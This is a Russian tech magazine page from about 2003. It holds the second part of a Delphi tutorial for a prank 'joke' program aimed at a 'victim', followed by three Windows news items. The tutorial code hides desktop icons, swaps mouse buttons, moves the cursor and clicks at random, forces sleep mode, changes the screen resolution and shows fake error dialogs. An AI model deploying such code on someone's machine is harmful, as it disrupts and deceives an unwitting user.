AboutPC
Главная 
Hi-Tech 
Интернет 
Безопасность 
Антиспам 
Железо 
КПК 
Мобильники 
Windows 
*nix 
Софт 
Игры 
Веб-дизайн 
Кодинг 
Заработок 
Юмор 
Отдыхай с PC 
Разное
:: о журнале
:: друзья
:: партнеры
:: авторам
:: читателям
:: веб-мастеру
:: copyright
:: рассылки
:: реклама
:: мыло
:: сайт

Раздел "Windows". Содержание:

Статьи:

Craz[Y] WinDOwS-2

Новости:

Второй сервис-пак защитит Windows XP от хакеров и вирусов
Comdex Fall 2003: Новая версия Windows для Tablet PC
Microsoft: Small Business Server 2003 заговорит по-русски

 

Раздел "Windows". Статьи:

Craz[Y] WinDOwS-2

Денис Казаков aka AcTivE
www.aboutpc.net
info@aboutpc.net

Окончание, начало в AboutPC#18 (в разделе "Кодинг")

Надеюсь, у Вас еще не пропало желание доделать наше западло.

Да, да, сегодня мы продолжим доводить до ума Craz[Y] WinDOwS.

В прошлой статье я рассказал Вам:

Процедуру, и само скрытие System tray, отключение кнопки Пуск, прописываться в Автозагрузку и т.д.

На сей раз мы поговорим о том как убрать с рабочего стола все значки, как сменить кнопки мыши, и еще много о чем.

Ну что let’s go.

Рабочий стол, о чем это нам говорит. Правильно о ярлыках, документах, ну и самое главное это наверное Мой компьютер. А что если нам сделать так что бы у нашей жертвы исчизали полностью ВСЕ элементы рабочего стола. Для этого вызываем событие по второму таймеру и пишим:

procedure TForm1.Timer2Timer(Sender: TObject);
begin
ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
end;

Здесь все просто, мы ставим значение Рабочего стола в nil (ноль) и прячем его. Ну а тех кто хочет просто поиздеваться советую запомнить ниже следующее:

{Показываем все значки}
ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);

Это конечно хорошо, но ведь можно еще и добраться до самого важного что мелькает на мониторах. Что это? Конечно же всеми любимый и постоянно разный указатель крысы, то есть мыши. А давайте просто сменим конфигурация кнопок мыши. Вызываем любимое событие по таймеру, на этот раз по третьему. И пишем там всего одну строчку текста.

{Смена мест кнопок мыши -=><=-}
procedure TForm1.Timer3Timer(Sender: TObject);
Begin
{Поменять местами кнопки}
SwapMouseButton(false);

{Возратить состояния кнопок мыши }
SwapMouseButton(true);
end;

Но это не что, по сравнения с ‘подвижным курсором’. Курсор начинает отпрыгивать

От кнопок, ссылок, короче от всего что возможно. Вызавем событие таймера, и пропишем в нем:

{Не управляемая мышка}
procedure TForm1.Timer5Timer(Sender: TObject);
var PXY: TPoint;
NX, NY, rw: integer;
num: integer;
begin
rw:=random(4);
GetCursorPos(pxy);
IF rw=0 then NX:= PXY.X+random(200) else NX:= PXY.X-random(200);
IF rw=1 then NY:= PXY.Y+random(200) else NY:= PXY.Y-random(200);
IF rw=2 then NX:= PXY.X+random(400) else NX:= PXY.X-random(400);
IF rw=3 then NY:= PXY.Y+random(400) else NY:= PXY.Y-random(400);
SetCursorPos(NX,NY);


Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, NX, NY,0,0);
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, NX, NY,0,0);
end;

А теперь разбираем наш завал.

PXY, NX, NY - это переменная координат и сами координаты.

Rw - это всем известный random, проще говоря случайные числа, для дальнейшей работы он нам пригодиться. Не обязательно брать значение (5) можно и (2).

GetCursorPos - тут и так понятно, получаем текущую позицию курсора.

IF rw=0, IF rw=1, IF rw=2 и т.д. - наугад изменяем координаты.

SetCursorPos - выводим курсор на новую позицию.

Mouse_Event - и первый и второй Mouse_Event имитируют нажатие и отпускание левой кнопки мыши.

Теперь все стало ясно. Указатель мыши прыгает на случайно выпадающие координаты и имитируется нажатие кнопок, что приводит к очень забавной ситуацие.

Пошли дальше. А что если курсор и кнопки изменились не спроста. Пусть жертва думает об ошибке в Window’се %-).

procedure TForm1.Timer6Timer(Sender: TObject);
begin
MessageDlg ('Внимание в Windows обнаружена ошибка в файле по адресу: EXXTEC32.EXE',mtWarning,[mbOK],0);
SetSystemPowerState (true,true);
end;

MessageDlg - выводим само сообщение об ошибке, текст сообщения зависит полностью от вашей фантазий.

И так SetSystemPowerState - обозначает, что МастДай уйдет в sleep-mode (спящий режим).

Над мышкой мы издеваличь, а почему бы не зацепить и клавиатуру. Все мы любим party не так ли. Значит и жертва ее полюбит. Но сперва опишем процедуру включения DanceKeyboard:

Procedure DanceKeyboard(lam: Integer; value: Boolean);
Var
KeyPos: TKeyboardState;
Begin
GetKeyboardState(KeyPos);
KeyPos[lam]:=Integer(value);
SetKeyboardState(KeyPos);
end;

А теперь пишем сам обработчик события по таймеру:

procedure TForm1.Timer7Timer(Sender: TObject);
begin
Timer2.Tag:=(Timer2.Tag+1)mod 4;
DanceKeyboard(VK_NUMLOCK, Timer2.Tag=1);
DanceKeyboard(VK_SCROLL, Timer2.Tag=2);
DanceKeyboard(VK_CAPITAL,Timer2.Tag=3);
end;

Сразу хочу заметить, данная ‘фишка’ не будет работать под Windows XP/2000/NT. Это я про моргания лампочек на клавиатуре.

Но все что было описано ранее не так прикольно как то, что Вы сейчас узнаете, а в дальнеишем и сделаете. Мы уже поиздевались почти над всем, ну уж НЕТ. Мы же еще не затронули, всеми любимый и протираемый монитор. Выберем не занятый таймер и вызавем событие по таймеру. Н опрежде чем писать что то, я опишу то, что мы сейчас будем делать. Мы зададим доступные разрешения которые возможы почти на всех мониторах и будем их менять. Примерно каждую секунду или две разрешения сменяется и возникает сообщение об ошибке.

Ну приступим:

{Смена разрешения}


procedure TForm1.Timer1Timer(Sender: TObject);
var
num: integer;
stavim : TDevMode;
x: array [1..4] Of integer;
y: array [1..4] Of integer;
x1,y1,n: integer;
begin
{Объявляем доступные разрешения}
x[1]:= 640; y[1]:= 480;
x[2]:= 800; y[2]:= 600;
x[3]:= 1024; y[3]:= 768;
x[4]:= 1152; y[4]:= 864;
n:= random (4);{Опять random, он нужен для выбора высоты и ширины}
x1:= x[n+1];
y1:= y[n+1];

{Выставляем выборочное разрешение}
ZeroMemory(@stavim , sizeof(TDevMode));
stavim .dmSize := sizeof(TDevMode);
stavim .dmPelsWidth := x1;
stavim .dmPelsHeight := y1;
stavim .dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;

{Меняем настройки экране}
ChangeDisplaySettings( stavim , 0);

{Выводим наше каверзное сообщение об ошибке}
MessageDlg ('Не возможно обнаружить драйвер для видео карты! Ошибка по адресу #3ER#FHRN '#13#10' Please, restart windows!', mtError,[mbOk],0);

end;

Все. На сегодня я закончил. А тем, кто не насытился, ждите новых статей про заподло.
Буду ждать писем.
Всего наилучшего...
С уважением Денис Казаков aka AcTivE

 Наверх

Раздел "Windows". Новости:

Второй сервис-пак защитит Windows XP от хакеров и вирусов

Компьюлента
www.compulenta.ru
info@compulenta.ru

Специалисты Microsoft вовсю трудятся над созданием второго пакета обновлений для операционной системы Windows XP. В конце 2003 года, как предполагалось ранее, он не выйдет. Его релиз был перенесен на середину 2004 года. Причину задержки в Microsoft не называют. Весьма вероятно, что она связана с реализацией новых мер по обеспечению безопасности компьютера. Подробности о возможностях второго сервис-пака появились в библиотеке MSDN.

В документе сообщается, что одной из главных целей разработчиков второго сервис-пака является обеспечение максимальной безопасности компьютеров даже в том случае, когда невозможна установка последних патчей и обновлений. Работы ведутся по четырем основным направлениям: безопасность при работе в сети, безопасность памяти, безопасность при работе с электронной почтой и вебом. Наибольшее внимание уделяется первым двум пунктам.

Для обеспечения безопасности компьютера при работе в сети Microsoft намеревается усовершенствовать встроенный в Windows XP брандмауэр, несколько изменить работу DCOM и ограничить доступ к функции удаленного вызова процедур (RPC). Именно с DCOM и RPC связаны наиболее серьезные дыры, обнаруженные в Windows в нынешнем году. В частности, в Microsoft планируют запретить (за редкими исключениями) анонимное обращение к интерфейсам RPC. В случае DCOM будут реализованы более строгие ограничения доступа и более гибкие средства управления данной службой.

Что касается брандмауэра, то в Microsoft намерены сделать его активным по умолчанию. Кроме того, он будет активироваться на более раннем этапе загрузки операционной системы. В новой версии брандмауэра появится возможность создания списков доверенных приложений, которым можно открывать порты на прослушивание. По окончании работы программы порты будут автоматически закрываться. Кроме того, брандмауэр станет совместим с программами и службами, использующими удаленный вызов процедур (RPC), тогда как раньше для работы с RPC брандмауэр приходилось отключать. Наконец, специальный защищенный режим позволит устанавливать временную блокировку уязвимых для атак портов до установки снимающего уязвимость обновления.

Повышение безопасности памяти должно затруднить хакерам использование в своих целях ошибок переполнения буфера. Как правило, для использования дыр злоумышленник вызывает функцию, приводя в качестве аргумента чрезмерно длинное значение, содержащее опасный код. При переполнении буфера атакуемое приложение зависает, а опасный код выполняется. Чтобы не допустить этого, Microsoft намерена активнее использовать технологию защиты от выполнения (no execution или NX). Эта технология позволяет помечать участки памяти (например, те же программные буферы), код из которых не подлежит выполнению.

Поддержка NX уже имеется в Windows XP, но пока она работает только с процессорами семейств AMD K8 (Opteron и Athlon 64) и Intel Itanium. В будущем поддержка NX должна появиться и в других процессорах, что положительно скажется на безопасности. В качестве дополнительной меры в Microsoft планируют перекомпилировать часть системных библиотек Windows с помощью новой версии компилятора, позволяющего минимизировать число уязвимых буферов.

Для повышения безопасности при работе с почтой и вебом Microsoft внесет новые усовершенствования в браузер Internet Explorer и почтовый клиент Outlook Express. В последнем будут приняты более надежные настройки по умолчанию и новая система управления вложенными файлами, чтобы блокировать работу вирусов и червей. Аналогичные изменения будут реализованы и в программе Windows Messenger. Для защиты Internet Explorer будет закрыта для доступа извне зона безопасности "Локальный компьютер", и усовершенствован механизм контроля пользователя за модулями ActiveX.

автор:
сайт:www.compulenta.ru
мыло:

 

 

 Наверх

Comdex Fall 2003: Новая версия Windows для Tablet PC

Компьюлента
www.compulenta.ru
info@compulenta.ru

Компания Microsoft представила на проходящей в Лас-Вегасе (штат Невада) выставке Comdex Fall 2003 обновленную версию операционной системы для планшетных компьютеров. Продукт под названием Windows XP Tablet PC Edition 2004 (кодовое название Lonestar) представил лично Билл Гейтс во время своего выступления на одной из крупнейших в мире компьютерных выставок. Гейтс отметил, что считает развитие платформы Tablet PC успешным. Компьютеры на ее основе выпускают уже более сорока компаний, а число компаний-разработчиков программного обеспечения для планшетных ПК превысило 120.

Среди главных преимуществ Windows XP Tablet PC Edition 2004 перед предшествующей версией этой системы, в первую очередь, отмечается усовершенствованная система рукописного ввода. Теперь поддержка электронного пера глубже интегрирована в Windows, а качество распознавания рукописного ввода заметно повысилось. Гейтс также отметил интеграцию новой программной платформы для TabletPC с пакетом Microsoft Office 2003 и его новым компонентом - менеджером заметок OneNote.

Помимо обновления самой операционной системы, будет выпущена и новая версия инструментария для разработчиков приложений. В Tablet PC Software Development Kit (SDK) 1.7 появится немало новых возможностей, среди которых можно отметить поддержку рукописного ввода в приложениях с веб-интерфейсом. Microsoft Windows XP Tablet PC Edition 2004 будет выпущена в середине 2004 года. Она будет предустанавливаться на новые TabletPC, а для пользователей более ранних модификаций планшетных компьютеров будет доступна в виде бесплатного обновления.

 Наверх

Microsoft: Small Business Server 2003 заговорит по-русски

Cnews: Интернет-издание о высоких технологиях
www.сnews.ru
news@сnews.ru

14 ноября представительство Microsoft в России и СНГ объявило о выпуске новой версии Microsoft Windows Small Business Server 2003, построенного на базе ОС Microsoft Windows Server 2003, - серверного решения для компаний малого бизнеса. Функциональность данного решения не ограничена: единственное ограничение накладывается по количеству клиентских мест – их должно быть не больше 75, однако продукт рекомендуется для компаний с числом ПК до 50-ти, чтобы обеспечить резерв для роста бизнеса. Серверное решение для малых предприятий от Microsoft впервые выйдет на русском языке в феврале 2004 года, а для заказа в России оно доступно уже с ноября этого года, хотя физически появится на рынке не раньше декабря месяца, сообщили представители компании.

По словам Наталии Артемовой, менеджера Microsoft по работе с заказчиками малого бизнеса представительства Microsoft в России и СНГ, «на территории, за которую отвечает наше представительство, более миллиона малых предприятий, а в мире — 41 миллион. Это огромный и очень важный сегмент рынка и, безусловно, его специфические интересы необходимо учитывать». По данным AMI research, всего в России 843 тыс. малых предприятий: на Центральный округ приходится 36,6% от общего количества (причем на Москву – 20%) , на Северо-Западный округ – 14,5% (12% - на Санкт-Петербург), Приволжский – 15,6%, Сибирский – 11,9%, Южный – 9,7%, Уральский – 6,6% и Дальневосточный – 5%.

Конечно, по уровню развития малого бизнеса Россия еще существенно отстает от других стран: если в этом секторе бизнеса в нашей стране занято 8,3 млн. человек (13% от всего работающего населения), то, к примеру, в Великобритании этот показатель составляет 13,6% (49% занятых), в Германии– 18,5% (46% занятых), в Италии – 16,8% (73% занятых), в США – 70,2% (52% занятых), в Японии – 39,5% (78% занятых). Этим объясняется и тот факт, что доля малых предприятий в ВВП России составляет лишь 10-11%, тогда как в вышеперечисленных странах – от 50% и более.

Тем не менее, по результатам опроса 4 тыс. малых предприятий разной направленности, проведенного в России и Украине в мае-июне 2003 г. по заказу Microsoft, большинство респондентов (55% всех компаний) признали, что деятельность их организации во многом зависит от использования компьютерных технологий. Подавляющее большинство компаний используют ИТ для осуществления бухгалтерского учета (88%), подготовки текстовых документов (81%), доступа в интернет (69%), документооборота (61%), использования баз данных (60%), организации работы с клиентами (40%), финансового анализа (40%), управления складом (37%), совместной работы (29%), разработки макетов для печати (28%), управления предприятием (23%), управления персоналом (17%) и электронной коммерции (16%).

Стоит также отметить, что для предприятий малого бизнеса сдерживающими факторами на пути к внедрению новых технологий являются их сложность и цена, им свойственно недоверие к технологии и необходима простота обслуживания при ограниченных ресурсах по поддержке ИТ. По словам г-жи Артемовой, данные особенности малых предприятий и учитывали специалисты Microsoft при разработке продукта. Windows Small Business Server 2003, помимо других функций, обеспечивает поддержку электронной почты, безопасного подключения к интернету, внутренних сетей предприятий, удаленного подключения, мобильных устройств, совместного использования файлов и принтеров, функций совместного копирования и восстановления, а также является прикладной платформой для совместной работы.

В отличие от предыдущей версии, пакет Microsoft Windows Small Business Server 2003 будет выпускаться в двух вариантах:

  • Microsoft Windows Small Business Server 2003 Standard, включающий:
    • Windows Server 2003 — серверная операционная система;
    • Exchange Server 2003 — сервер для организации обмена сообщениями;
    • Office Outlook 2003 — средство для работы с электронной почтой;
    • Windows SharePoint Services v2 — средство для создания веб-узлов рабочих групп, предназначенное для организации совместной работы;
    • Microsoft Shared Fax Services — средство для оправки и получения факсов.
  • Microsoft Windows Small Business Server 2003 Premium, включающий, кроме перечисленных выше, следующие продукты:
    • Microsoft SQL Server 2000 — сервер баз данных;
    • Microsoft ISA Server 2000 — сервер для обеспечения безопасного доступа в интернет;
    • Microsoft FrontPage 2003 — средство создания и сопровождения веб-узлов.

В отличие от Microsoft Small Business Server 2000, который обладал большей функциональностью (зачастую не всем нужной) и стоил в среднем по рынку около $1499 вместе с 5-ю клиентскими лицензиями (плюс $60 за отдельные клиентские лицензии, $749 – за обновление версии), что могли позволить себе далеко не все малые предприятия, стандартный вариант SBS 2003 вместе с 5-ю клиентскими лицензиями обойдется примерно в $600, а обновить его на версию Premium Edition можно будет за $900. Отдельные клиентские лицензии для обоих вариантов SBS 2003 будут стоить в среднем $99. Вариант Premium Edition вместе с 5-ю клиентскими лицензиями будет стоить $1499, обновление версии - $599. При этом, по словам Наталии Артемовой, стандартный вариант подойдет даже для компаний, у которых меньше 5 ПК. Кроме того, сеть с Windows Small Business Server 2003 может быть легко расширена за счет подключения дополнительных серверов Windows, а также быстрорастущие компании всегда могут перейти на отдельные версии продуктов, входящих в состав Windows Small Business Server 2003, воспользовавшись специально поставляемым для этих целей средством (Transition Pack).

По словам Андрея Крючкова, менеджера по серверным продуктам Microsoft, системные требования для обоих вариантов SBS 2003 следующие:

  • процессор с тактовой частотой выше 300 МГц (рекомендуется – от 550 МГц) Intel Pentium/Celeron или AMD K6/Athlon/Duron;
  • CD-, DVD-ROM;
  • монитор VGA или адаптер, поддерживающий перенаправление консоли (рекомендуется SVGA с разрешением 800х600 точек);
  • клавиатура, мышь Microsoft или совместимая, или адаптер, поддерживающий перенаправление консоли;
  • сетевой адаптер Ethernet.

автор:
сайт:www.compulenta.ru
мыло:

 

 

 Наверх

 
design: ФуксЪ